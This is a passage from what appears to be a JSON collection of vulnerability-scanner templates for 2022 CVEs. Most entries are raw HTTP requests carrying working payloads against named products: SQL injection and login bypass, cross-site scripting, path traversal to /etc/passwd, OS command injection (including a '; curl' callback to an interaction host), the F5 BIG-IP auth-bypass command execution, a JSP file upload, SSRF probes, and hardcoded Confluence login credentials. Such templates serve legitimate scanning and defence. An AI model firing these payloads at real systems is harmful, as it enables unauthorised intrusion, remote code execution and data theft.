Credentials","severity":"critical"},"requests":[{"raw":["POST /dologin.action HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nos_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action\n"],"payloads":{"os_username":["disabledsystemuser"],"os_password":["disabled1system1user6708"]},"attack":"pitchfork","matchers":[{"type":"dsl","dsl":["location == \"/httpvoid.action\""]}]}]},{"id":"CVE-2022-44947","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/listing_highlight&action=save&entities_id=24&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&is_active=1&fields_id=193&fields_values%5B%5D=67&bg_color=&sort_order=¬es=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"<script>alert(document.domain)</script>\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-32025","info":{"name":"Car Rental Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /admin/ajax.php?action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}%23&password={{password}}\n","GET /admin/view_car.php?id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"skip-variables-check":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-30513","info":{"name":"School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /dms/admin/login.php?f=login HTTP/1.1\nHost: {{Hostname}}\n\nusername={{username}}&password={{password}}\n","GET /dms/admin/?page=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["''; alert(document.domain); s='';","School Dormitory Management System"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-45835","info":{"name":"WordPress PhonePe Payment Solutions <=1.0.15 - Server-Side Request Forgery","severity":"medium"},"requests":[{"raw":["GET /?phonepe_action=curltestPhonePe&url=http://{{interactsh-url}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["cURL Test for PhonePe"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1597","info":{"name":"WordPress WPQA <5.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0\nContent-Type: application/x-www-form-urlencoded\n\nuser_name={{user}}&email={{user}}@{{Host}}&pass1={{pass}}&pass2={{pass}}&phone={{rand_text_numeric(10)}}&agree_terms=on&form_type=wpqa-signup&action=wpqa_ajax_signup_process\n","POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0\nContent-Type: application/x-www-form-urlencoded\n\nuser_mail={{user}}@{{Host}}&form_type=wpqa_forget&action=wpqa_ajax_password_process&redirect_to={{url_encode(redirect_to)}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{redirect_to}}","\"success\":1"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-40022","info":{"name":"Symmetricom SyncServer Unauthenticated - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /controller/ping.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{RootURL}}/controller/ping.php\n\ncurrentTab=ping&refreshMode=ðDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=false&hostname=%60id%60&port=eth0&pingType=ping\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"regex","part":"body","regex":["uid=([0-9(a-z)]+)"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2022-40734","info":{"name":"Laravel Filemanager v2.5.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd","{{BaseURL}}/laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"],"stop-at-first-match":true,"matchers":[{"type":"regex","regex":["root:[x*]:0:0"]}]}]},{"id":"CVE-2022-1388","info":{"name":"F5 BIG-IP iControl - REST Auth Bypass RCE","severity":"critical"},"requests":[{"raw":["POST /mgmt/tm/util/bash HTTP/1.1\nHost: {{Hostname}}\nConnection: keep-alive, X-F5-Auth-Token\nX-F5-Auth-Token: a\nAuthorization: Basic {{base64(auth)}}\nContent-Type: application/json\n\n{\n     \"command\": \"run\",\n     \"utilCmdArgs\": \"-c '{{cmd}}'\"\n}\n","POST /mgmt/tm/util/bash HTTP/1.1\nHost: localhost\nConnection: keep-alive, X-F5-Auth-Token\nX-F5-Auth-Token: a\nAuthorization: Basic {{base64(auth)}}\nContent-Type: application/json\n\n{\n     \"command\": \"run\",\n     \"utilCmdArgs\": \"-c '{{cmd}}'\"\n}\n"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["commandResult","8831-2202-EVC"],"condition":"and"}]}]},{"id":"CVE-2022-2487","info":{"name":"Wavlink WN535K2/WN535K3 - OS Command Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /cgi-bin/nightled.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\npage=night_led&start_hour=;{{cmd}};\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["uid=","gid=","nightStart"],"condition":"and"},{"type":"word","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24384","info":{"name":"SmarterTools SmarterTrack - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /Main/Default.aspx?viewSurveyError=Unknown+survey\"><img%20src=x%20onerror=alert(document.domain)> HTTP/1.1\nHost: {{Hostname}}\n\n"],"matchers":[{"type":"word","words":["\"type\":\"error\",\"text\":\"Unknown survey\\\"><img src=x onerror=alert(document.domain)>\"","smartertrack"],"condition":"and"}]}]},{"id":"CVE-2022-34590","info":{"name":"Hospital Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /hms/admin/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<title>Admin  | Dashboard","Manage Patients","Manage Doctors"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-36804","info":{"name":"Atlassian Bitbucket - Remote Command Injection","severity":"high"},"requests":[{"raw":["GET /rest/api/latest/repos HTTP/1.1\nHost: {{Hostname}}\n","GET /rest/api/latest/projects/{{key}}/repos/{{slug}}/archive?filename={{data}}&at={{data}}&path={{data}}&prefix=ax%00--exec=%60id%60%00--remote=origin HTTP/1.1\nHost: {{Hostname}}\n"],"stop-at-first-match":true,"iterate-all":true,"matchers-condition":"and","matchers":[{"type":"word","words":["com.atlassian.bitbucket.scm.CommandFailedException"]},{"type":"status","status":[500]}],"extractors":[{"type":"json","name":"key","internal":true,"json":[".[\"values\"] | .[] | .[\"project\"] | .key"],"part":"body"},{"type":"json","name":"slug","internal":true,"json":[".[\"values\"] | .[]  | .slug"],"part":"body"},{"type":"regex","group":1,"regex":["uid=.*\\(([a-z]+)\\):"]}]}]},{"id":"CVE-2022-0540","info":{"name":"Atlassian Jira Seraph - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/InsightPluginShowGeneralConfiguration.jspa;"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["General Insight Configuration"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1162","info":{"name":"GitLab CE/EE - Hard-Coded Credentials","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/users/sign_in"],"redirects":true,"max-redirects":3,"matchers":[{"type":"word","words":["003236d7e2c5f1f035dc8b67026d7583ee198b568932acd8faeac18cec673dfa","1d840f0c4634c8813d3056f26cbab7a685d544050360a611a9df0b42371f4d98","6eb5eaa5726150b8135a4fd09118cfd6b29f128586b7fa5019a04f1c740e9193","6fa9fec63ba24ec06fcae0ec30d1369619c2c3323fe9ddc4849af86457d59eef","cfa6748598b5e507db0e53906a7639e2c197a53cb57da58b0a20ed087cc0b9d5","f8ba2470fbf1e30f2ce64d34705b8e6615ac964ea84163c8a6adaaf8a91f9eac"],"condition":"or"}],"extractors":[{"type":"regex","group":1,"regex":["(?:application-)(\\S{64})(?:\\.css)"]}]}]},{"id":"CVE-2022-0412","info":{"name":"WordPress TI WooCommerce Wishlist <1.40.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(5)%20--%20g HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=5"]},{"type":"word","part":"body","words":["Product not found"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2022-32772","info":{"name":"WWBN AVideo 11.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["avideoAlertInfo(\""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-38467","info":{"name":"CRM Perks Forms < 1.1.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/crm-perks-forms/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/crm-perks-forms/templates/sample_file.php?FirstName=&LastName=&%20Company= HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 200","contains(content_type_2, \"text/html\")","contains(body_1, \"CRM Perks Forms\") && contains(body_2, \"\")"],"condition":"and"}]}]},{"id":"CVE-2022-0378","info":{"name":"Microweber Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(document.domain)+xx=%22test&from_url=x"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["mwui_init","onmousemove=\"alert(document.domain)"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2314","info":{"name":"WordPress VR Calendar <=2.3.2 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /wp-content/plugins/vr-calendar-sync/assets/js/public.js HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-admin/admin-post.php?vrc_cmd=phpinfo HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["phpinfo","PHP Version"],"condition":"and"},{"type":"word","part":"body_1","words":["vrc-calendar"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31846","info":{"name":"WAVLINK WN535 G3 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/live_mfg.shtml"],"matchers-condition":"and","matchers":[{"type":"word","words":["Model=","DefaultIP=","LOGO1="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0346","info":{"name":"WordPress XML Sitemap Generator for Google <2.0.4 - Cross-Site Scripting/Remote Code Execution","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp","{{BaseURL}}/?p=1&xsg-provider=data://text/html,","Invalid Provider type specified"],"condition":"and"},{"type":"word","part":"body_2","words":["2ef3baa95802a4b646f2fc29075efe34"]}]}]},{"id":"CVE-2022-25485","info":{"name":"Cuppa CMS v1.0 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /alerts/alertLightbox.php  HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=../../../../../../../../../../../etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2733","info":{"name":"Openemr < 7.0.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{RootURL}}/interface/login/login.php?site=default\n\nnew_login_session_management=1&languageChoice=1&authUser={{username}}&clearPass={{password}}&languageChoice=1\n","GET /interface/forms/fee_sheet/review/fee_sheet_options_ajax.php?pricelevel=%3Cimg%20src=a%20onerror=alert(document.cookie)%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","pricelevel"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24288","info":{"name":"Apache Airflow OS Command Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/airflow/code?root=&dag_id=example_passing_params_via_test_command","{{BaseURL}}/code?dag_id=example_passing_params_via_test_command"],"stop-at-first-match":true,"matchers":[{"type":"word","words":["foo was passed in via Airflow CLI Test command with value {{ params.foo }}"]}]}]},{"id":"CVE-2022-43140","info":{"name":"kkFileView 4.1.0 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/getCorsFile?urlPath={{base64('https://oast.me')}}"],"matchers":[{"type":"word","part":"body","words":["
 Interactsh Server 
"]}]}]},{"id":"CVE-2022-27849","info":{"name":"WordPress Simple Ajax Chat <20220116 - Sensitive Information Disclosure vulnerability","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/simple-ajax-chat/sac-export.csv"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"Chat Log\"","\"User IP\"","\"User ID\""],"condition":"and"},{"type":"word","part":"header","words":["text/csv"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3980","info":{"name":"Sophos Mobile managed on-premises - XML External Entity Injection","severity":"critical"},"requests":[{"raw":["@timeout: 50s\nPOST /servlets/OmaDsServlet HTTP/1.1\nHost: {{Hostname}}\nContent-Type: \"application/xml\"\n\n\n%test;]>\ntest\n"],"redirects":true,"max-redirects":3,"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')","status_code == 400","len(body) == 0"],"condition":"and"}]}]},{"id":"CVE-2022-0149","info":{"name":"WooCommerce Stored Exporter WordPress Plugin < 2.7.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=woo_ce&failed=1&message=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0786","info":{"name":"WordPress KiviCare <2.3.9 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B\"id\":\"1\"%7D&props_doctor_id=1,2)+AND+(SELECT+42+FROM+(SELECT(SLEEP(6)))b HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Doctor details\")"],"condition":"and"}]}]},{"id":"CVE-2022-2551","info":{"name":"WordPress Duplicator <1.4.7 - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/backups-dup-lite/dup-installer/main.installer.php?is_daws=1","{{BaseURL}}/wp-content/dup-installer/main.installer.php?is_daws=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["restart this install process"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3484","info":{"name":"WordPress WPB Show Core - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wpb-show-core/modules/jplayer_new/jplayer_twitter_ver_1.php?audioPlayerOption=1&fileList[0][title]=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body, \"wpb_jplayer_setting\")","contains(body, \"\")"],"condition":"and"}]}]},{"id":"CVE-2022-30777","info":{"name":"Parallels H-Sphere 3.6.1713 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["\"><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-44948","info":{"name":"Rukovoditel <= 3.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/entities_groups&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"<script>alert(document.domain)</script>\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-2756","info":{"name":"Kavita <0.5.4.1 - Server-Side Request Forgery","severity":"medium"},"requests":[{"raw":["POST /api/account/login HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/plain, */*\nContent-Type: application/json\n\n{\"username\":\"{{username}}\",\"password\":\"{{password}}\"}\n","POST /api/upload/upload-by-url HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/plain, */*\nAuthorization: Bearer {{token}}\nContent-Type: application/json\n\n{\"url\":\"http://oast.me/#.png\"}\n","GET /api/image/cover-upload?filename=coverupload_{{filename}}.png HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Bearer {{token}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["Interactsh Server"]},{"type":"word","part":"header","words":["image/png"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"token","group":1,"regex":["\"token\":\"(.*?)\""],"internal":true},{"type":"regex","name":"filename","group":1,"regex":["coverupload.(.*?).png"],"internal":true}]}]},{"id":"CVE-2022-2599","info":{"name":"WordPress Anti-Malware Security and Brute-Force Firewall <4.21.83 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=GOTMLS-settings&GOTMLS_debug=<%2Fscript><img+src+onerror%3Dalert%28document.domain%29> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><img src onerror=alert(document.domain)>","GOTMLS_mt"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28079","info":{"name":"College Management System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /admin/asign-single-student-subjects.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsubmit=Press&roll_no=3&course_code=sd' UNION ALL SELECT CONCAT(md5({{num}}),12,21),NULL,NULL,NULL,NULL#\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["{{md5({{num}})}}"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2022-38295","info":{"name":"Cuppa CMS v1.0 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","POST /components/table_manager/classes/functions.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nid_field=0&name_field=\"><script>alert(document.domain)</script>&admin_login_field=1&site_login_field=1&enabled_field=1&view=cu_user_groups&function=saveAdminTable\n","POST /components/table_manager/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\npath=component%2Ftable_manager%2Fview%2Fcu_user_groups&uniqueClass=\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["\"><script>alert(document.domain)</script>","cuppa_html"],"condition":"and"},{"type":"word","part":"header_3","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-25488","info":{"name":"Atom CMS v2.0 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/ajax/avatar.php?id=-1+union+select+md5({{num}})%23"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["/{{md5(num)}}","avatar-container"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-30525","info":{"name":"Zyxel Firewall - OS Command Injection","severity":"critical"},"requests":[{"raw":["POST /ztp/cgi-bin/handler HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"command\":\"setWanPortSt\",\"proto\":\"dhcp\",\"port\":\"4\",\"vlan_tagged\":\"1\",\"vlanid\":\"5\",\"mtu\":\"; curl {{interactsh-url}};\",\"data\":\"hi\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-25497","info":{"name":"Cuppa CMS v1.0 - Local File Inclusion","severity":"medium"},"requests":[{"raw":["POST /js/filemanager/api/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"from\":\"//../../../../../../../../../../../../../etc/passwd\",\"to\":\"/../{{randstr}}.txt\",\"action\":\"copyFile\"}\n","GET /{{randstr}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header_2","words":["text/plain"]},{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26352","info":{"name":"DotCMS - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /api/content/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3\n\n--------------------------aadc326f7ae3eac3\nContent-Disposition: form-data; name=\"name\"; filename=\"../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp\"\nContent-Type: text/plain\n\n<%\nout.println(\"CVE-2022-26352\");\n%>\n--------------------------aadc326f7ae3eac3--\n","GET /{{randstr}}.jsp HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2, \"CVE-2022-26352\")","status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2022-2034","info":{"name":"WordPress Sensei LMS <4.5.0 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}"],"payloads":{"num":"helpers/wordlists/numbers.txt"},"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["sensei_message","guid\":{\"rendered\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2219","info":{"name":"Unyson < 2.7.27 - Cross Site Scripting","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=fw-extensions&sub-page=extension&extension=feedback<script>alert(document.domain)</script>  HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"script%3Ealert%28document.domain%29%3C%2Fscript%3\")","contains(body_2, \"Unyson\")"],"condition":"and"}]}]},{"id":"CVE-2022-0140","info":{"name":"WordPress Visual Form Builder <3.0.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin.php?page=vfb-export HTTP/1.1\nHost: {{Hostname}}\nReferer: {{RootURL}}/wp-admin/admin.php?page=vfb-export\nContent-Type: application/x-www-form-urlencoded\nOrigin: {{RootURL}}\n\nvfb-content=entries&format=csv&entries_form_id=1&entries_start_date=0&entries_end_date=0&submit=Download+Export+File\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"Date Submitted\"","\"Entries ID\""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-22965","info":{"name":"Spring - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST {{BaseURL}} HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nclass.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx\n","GET /?class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1\n"],"payloads":{"interact_protocol":["http","https"]},"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: Java"],"case-insensitive":true}]}]},{"id":"CVE-2022-22242","info":{"name":"Juniper Web Device Manager - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/error.php?SERVER_NAME=<script>alert(document.domain)</script>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script>","The requested resource is not authorized to view"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4325","info":{"name":"WordPress Post Status Notifier Lite <1.10.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=post-status-notifier-lite&controller=%3Cscript%3Ealert%28%60document.domain%60%29%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"<script>alert(`document.domain`)</script>\")","contains(body_2, \"Post Status Notifier Lite\")"],"condition":"and"}]}]},{"id":"CVE-2022-26134","info":{"name":"Confluence - Remote Code 